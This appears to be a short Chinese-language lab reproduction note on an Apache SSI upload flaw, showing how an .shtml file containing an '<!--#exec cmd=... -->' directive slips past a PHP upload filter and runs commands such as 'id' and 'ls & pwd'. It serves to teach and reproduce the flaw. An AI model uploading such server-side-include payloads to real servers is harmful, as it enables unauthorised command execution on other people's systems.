在測試任意文件上傳漏洞的時候,目標服務端可能不允許上傳php后綴的文件。如果目標服務器開啟了SSI與CGI支持,我們可以上傳一個shtml文件,並利用<!--#exec cmd="id" -->語法執行任意命令。
參考鏈接:
https://httpd.apache.org/docs/2.4/howto/ssi.html
https://www.w3.org/Jigsaw/Doc/User/SSI.html
漏洞環境
運行一個支持SSI與CGI的Apache服務器:
漏洞復現
正常上傳PHP文件是不允許的,我們可以上傳一個shell.shtml文件:
shell.shtml內容如下:
<!--#exec cmd="ls & pwd" -->